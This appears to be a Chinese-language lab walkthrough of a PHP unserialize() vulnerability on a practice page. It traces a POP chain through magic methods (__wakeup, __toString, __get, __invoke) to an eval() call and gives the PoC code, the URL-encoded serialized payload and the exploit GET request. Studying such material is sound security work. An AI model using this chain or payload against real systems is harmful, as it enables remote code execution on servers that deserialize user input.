http://192.168.112.200/security/unserial/ustest.php
class Tiger{
public $string;
protected $var;
public function __toString(){
return $this->string;
}
public function boss($value){
@eval($value);
}
public function __invoke(){
$this->boss($this->var);
}
}
class Lion{
public $tail;
public function __construct(){
$this->tail = array();
}
public function __get($value){
$function = $this->tail;
return $function();
}
}
class Monkey{
public $head;
public $hand;
public function __construct($here="cmd"){
$this->head = $here;
echo "Welcome to ".$this->head."
";
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Elephant{
public $nose;
public $nice;
public function __construct($nice="nice"){
$this->nice = $nice;
echo $nice;
}
public function __toString(){
return $this->nice->nose;
}
}
if(isset($_GET['cmd'])){
@unserialize($_GET['cmd']);
}
else{
$a = new Monkey;
echo "Hello!";
}
?>
eval() 函数在Tiger类的boss()方法中, 那么只要能从unserialize()方法开始反序列化, 最终执行到 boss()方法就可以利用了.
通常反序列化函数unserialize()在执行后, 必然会调用 __wakeup() 与 __destruct() 方法.
只有在 Monkey 类中有 __wakeup(), 那么以 Monkey 类作为调用链的起点来分析.
Monkey
类的 __wakeup()
中调用 preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)
,
preg_match()
函数要求两个参数都是字符串, 第一个参数是正则式, 第二个参数 $this->head
也必须是字符串.
我们看到 $this->head
的值最开始是来源于构造方法 __construct($here="cmd")
, 默认值是"cmd",
如果程序走到 preg_match()
, $this->head
作为参数传入时是一个字符串, 那么 __wakeup()
中就无法再执行到其他类的属性或方法了, 而我们的最终目的是要走到Tiger
类的boss()
方法, 所以 $this->head
这里考虑一下类型转换的情况.
我们再观察其他能够自动执行的魔术方法, 发现 __toString()
函数, 这个函数当对象转换为字符串时会自动调用.
那么我们再考虑 $this-head
, 如果它原本是一个其他类的对象, 在传入 preg_match()
方法后就会被转换为字符串, 这样就会自动调用到那个类的 __toString()
方法了.
我们看到 __toString()
在 Tiger
和 Elephant
两个类中都有.
先看 Tiger
类, 它的 __toString()
只是返回了一个变量值, 无法调用其他对象或方法, 没有利用价值, 略过.
再看 Elephant
类, 它的 __toString ()
返回 $this->nice->nose;
, 那么我们如果让$this->head = new Elephant()
就可以从Monkey
对象自动走到这里.
根据上面的分析, 构造一下调用链的POC脚本:
class Elephant{
public $nose;
public $nice;
}
class Monkey{
public $head;
public function __construct(){
$this->head = new Elephant();
}
}
继续分析$this->nice->nose;
, 由 $this->nice
对象读取 nose
属性, 我们可以观察一下有没有与调用属性自动会触发的魔术方法.
发现在 Lion
类中有一个__GET()
方法, 该方法在读取不存在的属性时被调用.
那么如果我们让$this->nice
是一个Lion
类的对象, 而Lion
类中并没有 nose
属性, 所以会自动触发 __GET()
方法, 我们继续编写POC.
class Lion{
public $tail;
}
class Elephant{
public $nose;
public $nice;
public function __construct(){
$this->nice = new Lion();
}
}
class Monkey{
public $head;
public function __construct(){
$this->head = new Elephant();
}
}
继续分析 __GET() 方法
, 它里面有两句代码:
$function = $this->tail;
return $function();
我们知道在php中, 对象可以用函数形式来调用, 比如
$obj = new Test(); // 创建一个Test对象叫做 obj
$obj();
当对象以函数形式调用时, 会自动触发 __invoke()
方法.
那么回来观察 __GET()
方法, 如果 $this->tail
是一个对象的话, return $function();
就是以函数形式调用对象, 它可以触发 __invoke()
.
接下来我们观察一下其他类有没有 __invoke()
方法, 发现在 Tiger
类中有, 那么我们让 Lion
走到 Tiger
, 继续修改POC:
class Tiger{
public $string;
protected $var;
}
class Lion{
public $tail;
public function __construct(){
$this->tail = new Tiger();
}
}
class Elephant{
public $nose;
public $nice;
public function __construct(){
$this->nice = new Lion();
}
}
class Monkey{
public $head;
public function __construct(){
$this->head = new Elephant();
}
}
继续分析 Tiger
中的代码, 发现__invoke()
在调用 $this->boss($this->var);
, 而boss()
函数就是我们的终点, 参数就是属性var
.
所以最后只要做一个赋值就可以完成整个调用链了, 修改poc:
class Tiger{
public $string;
protected $var = "phpinfo();"; // 执行phpinfo()
}
class Lion{
public $tail;
public function __construct(){
$this->tail = new Tiger();
}
}
class Elephant{
public $nose;
public $nice;
public function __construct(){
$this->nice = new Lion();
}
}
class Monkey{
public $head;
public function __construct(){
$this->head = new Elephant();
}
}
// 创建对象显示出最终的序列化字符串
$monkey = new Monkey();
echo urlencode(serialize($monkey));
?>
poc执行结果:
O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D
向http://192.168.112.200/security/unserial/ustest.php
提交GET请求.
http://192.168.112.200/security/unserial/ustest.php
?cmd=O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D
在页面上会看到后端执行了phpinfo();
.